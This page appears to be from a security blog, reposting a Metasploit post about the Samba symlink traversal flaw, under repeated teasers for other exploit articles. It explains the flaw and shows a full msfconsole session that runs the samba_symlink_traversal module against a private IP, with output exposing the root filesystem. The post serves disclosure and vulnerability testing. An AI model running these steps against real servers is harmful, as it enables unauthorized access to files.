Similar Searches

  • Exploiting DLL Hijacking Flaws (August 22, 2010)

    This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.

  • Exploiting Microsoft IIS with Metasploit (December 28, 2009)

    As of this afternoon, the msfencode command has the ability to emit ASP scripts that execute Metasploit payloads. This can be used to exploit the currently-unpatched file name parsing bug feature in Microsoft IIS. This flaw allows a

  • Metasploit Framework 3.4.1 Released! (July 11, 2010)

    The Metasploit Project is proud to announce the release of the Metasploit Framework version 3.4.1. As always, you can get it from our downloads page, for Windows or Linux. This release sees the first official non-Windows Meterpreter

  • Locate and Exploit the Energizer Trojan (March 8, 2010)

    The newsophere was abuzz this morning with the discovery that Energizer's "DUO" USB Battery Charger included a malicious backdoor in the accompanying software. This backdoor was only discovered after the product was discontinued, leading some to believe that it

  • Redesigning the Credential Cracking Strategy (August 17, 2010)

    If you write auxiliary Metasploit modules, you are no doubt familiar with the venerable report_auth_note() -- this is the function you call in your module to let your database know about all your awesome new credentials. Well, it's been changed.

Related News

  • Exploiting DLL Hijacking Flaws (August 22, 2010)

    This post describes the process for identifying and exploiting applications vulnerable to the DLL hijack vulnerability disclosed last week. For background information on this vulnerability, as well as remediation information, please see my post on the Rapid7 Blog.

  • Exploiting Microsoft IIS with Metasploit (December 28, 2009)

    As of this afternoon, the msfencode command has the ability to emit ASP scripts that execute Metasploit payloads. This can be used to exploit the currently-unpatched file name parsing bug feature in Microsoft IIS. This flaw allows a

  • Metasploit Framework 3.4.1 Released! (July 11, 2010)

    The Metasploit Project is proud to announce the release of the Metasploit Framework version 3.4.1. As always, you can get it from our downloads page, for Windows or Linux. This release sees the first official non-Windows Meterpreter

  • Locate and Exploit the Energizer Trojan (March 8, 2010)

    The newsophere was abuzz this morning with the discovery that Energizer's "DUO" USB Battery Charger included a malicious backdoor in the accompanying software. This backdoor was only discovered after the product was discontinued, leading some to believe that it

  • Redesigning the Credential Cracking Strategy (August 17, 2010)

    If you write auxiliary Metasploit modules, you are no doubt familiar with the venerable report_auth_note() -- this is the function you call in your module to let your database know about all your awesome new credentials. Well, it's been changed.

Exploiting the Samba Symlink Traversal

Last night, Kingcope uploaded a video to youtube demonstrating a logic flaw in the Samba CIFS service (this was followed by a mailing list post). This bug allows any user with write access to a file share to create a symbolic link to the root filesystem. From this link, the user can access any file on the system with their current privileges. This affects any Samba service that allows anonymous write access, however read access to the filesystem is limited by normal user-level privileges. In most cases, anonymous users are limited to the 'nobody' account, limiting the damage possible through this exploit.

A Metasploit auxiliary module has been added to verify and test this vulnerability. Update to SVN revision 8369 or newer and start up the Metasploit Console:

$ msfconsole
msf > use auxiliary/admin/smb/samba_symlink_traversal

msf auxiliary(samba_symlink_traversal) > set RHOST 192.168.0.2

msf auxiliary(samba_symlink_traversal) > set SMBSHARE shared

msf auxiliary(samba_symlink_traversal) > set SMBTARGET rooted

msf auxiliary(samba_symlink_traversal) > run

Connecting to the server...
Trying to mount writeable share 'shared'...
Trying to link 'rooted' to the root filesystem...
Now access the following share to browse the root filesystem:
\\192.168.0.2\shared\rooted\


Keep in mind that non-anonymous shares can be used as well, just enter SMBUser and SMBPass for a valid user account. Continue reading...


Source: Metasploit

Write a Comment

Copyright © 2010 The Security Blog. All rights reserved.